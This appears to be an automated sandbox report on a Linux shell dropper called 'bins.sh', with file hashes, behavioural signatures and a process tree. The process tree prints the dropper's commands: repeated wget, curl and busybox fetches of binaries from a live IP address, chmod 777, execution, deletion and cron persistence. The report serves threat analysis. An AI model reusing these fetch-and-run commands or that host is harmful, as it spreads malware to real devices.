Analysis

  • max time kernel
    119s
  • max time network
    145s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23-11-2024 21:07

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    431b48448d4b1dfa1658bc2885794b2c

  • SHA1

    b50b7e76f9f7213c9537e92378a3a4b2834e057a

  • SHA256

    9eafacdae4bc698ac3772dec6d7fd58f52016d14ed2bebced95adb3bf5b11942

  • SHA512

    ac65c463a6209ee2391cd2c5e71fa5ba86113611edb0222341ca28e64257f7113f8f41ebd49ecb8ad38c90956f4b3121300695af5d34ef2f17aa8408c2d0425b

  • SSDEEP

    192:pTrjA8AAnTJGiOkqyc7PDm+MePU5m+Mqqyc7P6TJl0TrjA8iF:KAMP/PUxF

Malware Config

Signatures

  • Contacts a large (885) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          ./3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://216.126.231.240/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:788
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:790
          • /bin/chmod
            chmod 777 sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • File and Directory Permissions Modification
            PID:820
          • /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            ./sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Executes dropped EXE
            PID:821
          • /bin/rm
            rm sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
              PID:823
            • /usr/bin/wget
              wget http://216.126.231.240/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Writes file to tmp directory
              PID:824
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Writes file to tmp directory
              PID:825
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Writes file to tmp directory
              PID:829
            • /bin/chmod
              chmod 777 PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • File and Directory Permissions Modification
              PID:830
            • /tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              ./PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Executes dropped EXE
              PID:831
            • /bin/rm
              rm PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
                PID:833
              • /usr/bin/wget
                wget http://216.126.231.240/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Writes file to tmp directory
                PID:834
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:835
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Writes file to tmp directory
                PID:836
              • /bin/chmod
                chmod 777 OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • File and Directory Permissions Modification
                PID:837
              • /tmp/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                ./OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Executes dropped EXE
                PID:838
              • /bin/rm
                rm OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                  PID:840
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Writes file to tmp directory
                  PID:841
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Writes file to tmp directory
                  PID:842
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Writes file to tmp directory
                  PID:843
                • /bin/chmod
                  chmod 777 xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • File and Directory Permissions Modification
                  PID:844
                • /tmp/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  ./xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:845
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:847
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:848
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:849
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:850
                    • /bin/rm
                      rm xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                      2⤵
                        PID:852
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                        2⤵
                          PID:855
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                          2⤵
                            PID:921
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                            2⤵
                            • Writes file to tmp directory
                            PID:937
                          • /bin/chmod
                            chmod 777 NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                            2⤵
                            • File and Directory Permissions Modification
                            PID:946
                          • /tmp/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                            ./NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                            2⤵
                            • Executes dropped EXE
                            PID:947
                          • /bin/rm
                            rm NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                            2⤵
                              PID:949
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                              2⤵
                                PID:950
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                2⤵
                                  PID:951
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:952
                                • /bin/chmod
                                  chmod 777 bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:955
                                • /tmp/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                  ./bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                  2⤵
                                  • Executes dropped EXE
                                  PID:956
                                • /bin/rm
                                  rm bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                  2⤵
                                    PID:958
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                    2⤵
                                      PID:959
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                      2⤵
                                        PID:960
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:961
                                      • /bin/chmod
                                        chmod 777 YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:962
                                      • /tmp/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                        ./YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                        2⤵
                                        • Executes dropped EXE
                                        PID:963
                                      • /bin/rm
                                        rm YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                        2⤵
                                          PID:965
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                                          2⤵
                                          • System Network Configuration Discovery
                                          PID:966
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                                          2⤵
                                          • System Network Configuration Discovery
                                          PID:967

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd

                                        Filesize

                                        107KB

                                        MD5

                                        eb9c3a0de91fcf16ba17cb24608df68c

                                        SHA1

                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                        SHA256

                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                        SHA512

                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                      • /tmp/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl

                                        Filesize

                                        117KB

                                        MD5

                                        849fa04ef88a8e8de32cb2e8538de5fe

                                        SHA1

                                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                        SHA256

                                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                        SHA512

                                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                      • /tmp/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1

                                        Filesize

                                        119KB

                                        MD5

                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                        SHA1

                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                        SHA256

                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                        SHA512

                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                      • /tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr

                                        Filesize

                                        141KB

                                        MD5

                                        3ca8decdb1e52c423c521bfff02ac200

                                        SHA1

                                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                                        SHA256

                                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                        SHA512

                                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                      • /tmp/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW

                                        Filesize

                                        112KB

                                        MD5

                                        05d7857dcead18bbd86d2935f591873c

                                        SHA1

                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                        SHA256

                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                        SHA512

                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                      • /tmp/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c

                                        Filesize

                                        122KB

                                        MD5

                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                        SHA1

                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                        SHA256

                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                        SHA512

                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                      • /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

                                        Filesize

                                        98KB

                                        MD5

                                        5141342d0df8699fa32a6b066a0c592e

                                        SHA1

                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                        SHA256

                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                        SHA512

                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                      • /tmp/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD

                                        Filesize

                                        151KB

                                        MD5

                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                        SHA1

                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                        SHA256

                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                        SHA512

                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                      • /var/spool/cron/crontabs/tmp.lJXrvv

                                        Filesize

                                        210B

                                        MD5

                                        505fea42f282c8f3f9a5cc0854efb6a0

                                        SHA1

                                        4cde859e1a9ea607a1bafcfb79020a9469a79288

                                        SHA256

                                        b63aba5058d2c492ba396a4824645d97500b703ed6b4885206a65e59294cf11c

                                        SHA512

                                        4ff6eddebde7d93af34b4c83063305bffad0ffae613b0ea3fb1fb8dc9eb30f9f924e2c30443713be4e0534ee8dfdbcb145e01655ffc3b900916bbcee499a7266